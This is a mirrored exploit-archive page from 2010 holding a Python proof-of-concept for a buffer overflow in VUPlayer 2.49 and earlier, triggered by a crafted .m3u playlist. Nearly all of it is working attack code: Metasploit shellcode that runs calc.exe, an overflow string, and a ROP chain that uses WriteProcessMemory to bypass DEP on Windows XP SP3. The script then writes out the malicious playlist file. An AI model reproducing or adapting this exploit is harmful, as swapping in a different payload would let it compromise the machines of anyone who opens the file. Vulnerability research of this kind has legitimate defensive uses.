Home / os / win7

VUPlayer <=2.49 .M3u Universal buffer overflow exploit w/

Posted on 07 June 2010

<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'><html><head><meta http-equiv='Content-Type' content='text/html; charset=windows-1251'><title>VUPlayer &lt;=2.49 .M3u Universal buffer overflow exploit w/ DEP bypass</title><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon'><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss'></head><body><pre>====================================================================
VUPlayer &lt;=2.49 .M3u Universal buffer overflow exploit w/ DEP bypass
====================================================================


#!/usr/bin/env python
#
# VUPlayer &lt;=2.49 .M3u Universal buffer overflow exploit w/ DEP bypass
# Author: mr_me
# Download: http://vuplayer.com/
# Tested on Wind0ws XP SP3 /noexecute=alwayson
# Greetz: Corelan Security Team
# http://www.corelan.be:8800/index.php/security/corelan-team-members/
#
# DEP bypass version
# Thanks to Sud0 &amp; Lincoln, for the motivation to learn this :-)
#
 
# http://www.metasploit.com
# EXITFUNC=process, CMD=calc.exe
sc = (&quot;x89xe1xd9xeexd9x71xf4x58x50x59x49x49x49x49&quot;
&quot;x43x43x43x43x43x43x51x5ax56x54x58x33x30x56&quot;
&quot;x58x34x41x50x30x41x33x48x48x30x41x30x30x41&quot;
&quot;x42x41x41x42x54x41x41x51x32x41x42x32x42x42&quot;
&quot;x30x42x42x58x50x38x41x43x4ax4ax49x4bx4cx4a&quot;
&quot;x48x47x34x43x30x45x50x45x50x4cx4bx51x55x47&quot;
&quot;x4cx4cx4bx43x4cx45x55x42x58x45x51x4ax4fx4c&quot;
&quot;x4bx50x4fx45x48x4cx4bx51x4fx51x30x43x31x4a&quot;
&quot;x4bx51x59x4cx4bx50x34x4cx4bx43x31x4ax4ex46&quot;
&quot;x51x49x50x4cx59x4ex4cx4dx54x49x50x42x54x45&quot;
&quot;x57x49x51x49x5ax44x4dx43x31x48x42x4ax4bx4c&quot;
&quot;x34x47x4bx50x54x47x54x45x54x43x45x4bx55x4c&quot;
&quot;x4bx51x4fx47x54x45x51x4ax4bx45x36x4cx4bx44&quot;
&quot;x4cx50x4bx4cx4bx51x4fx45x4cx43x31x4ax4bx4c&quot;
&quot;x4bx45x4cx4cx4bx45x51x4ax4bx4cx49x51x4cx46&quot;
&quot;x44x44x44x48x43x51x4fx50x31x4ax56x45x30x50&quot;
&quot;x56x42x44x4cx4bx51x56x50x30x4cx4bx51x50x44&quot;
&quot;x4cx4cx4bx44x30x45x4cx4ex4dx4cx4bx43x58x45&quot;
&quot;x58x4bx39x4ax58x4dx53x49x50x42x4ax50x50x43&quot;
&quot;x58x4ax50x4dx5ax44x44x51x4fx45x38x4ax38x4b&quot;
&quot;x4ex4cx4ax44x4ex50x57x4bx4fx4dx37x42x43x43&quot;
&quot;x51x42x4cx42x43x43x30x41x41&quot;);
 
crash = &quot;HTTP://&quot; + &quot;x41&quot; * 1005
 
rop = &quot;xd3x72x60x10&quot; # POPAD # JE SHORT BASSMIDI.10607337       : 0x106072D3
rop += &quot;x2fx10x60x10&quot; # POP EDI # MOV EAX,ESI # POP ESI # RETN  : 0x1060102F
rop += &quot;x13x22x80x7c&quot; # @ of WriteProcessMemory()           : 0x7C802213
rop += &quot;xcfx22x80x7c&quot; # Address to patched in kernel32      : 0x7C8022CF
rop += &quot;x44x44x44x44&quot; # JUNK                    : 0x44444444
rop += &quot;xffxffxffxff&quot; # start @ -1 for shellcode size       : 0xffffffff
rop += &quot;x15x10x10x10&quot; # This @ from .data segment of app dll    : 0x10101015
rop += &quot;x44x44x44x44&quot; # JUNK                    : 0x44444444
rop += &quot;x44x44x44x44&quot; # JUNK                    : 0x44444444
rop += &quot;x44x44x44x44&quot; # JUNK                    : 0x44444444
rop += &quot;x79x21x60x10&quot; # POP EDI # POP ESI # RETN            : 0x10602179
rop += &quot;x88x71x60x10&quot; # CALL EAX                    : 0x10607188
rop += &quot;xffxffxffxff&quot; # -hProcess argv[1]               : 0xffffffff
 
# Get the length of shellcode - @ from kernel32 :(
rop += &quot;x6fx10x81x7c&quot; * 305 # INC EBX # RETN            : 0x7C81106F
 
# push all args on the stack for WPM() - @ from shell32.dll :(
rop += &quot;xf9x18xa1x7c&quot; # PUSHAD # RETN               : 0x7CA118F9
 
buffer = crash + rop + sc
 
print &quot;[+] Building .m3u file&quot;
file = open('cst-vuplayer.m3u','w');
file.write(buffer);
file.close();
print &quot;[+] Done&quot;


# <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-06-07]</pre><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></body></html>

 

TOP

Malware :

Exploits :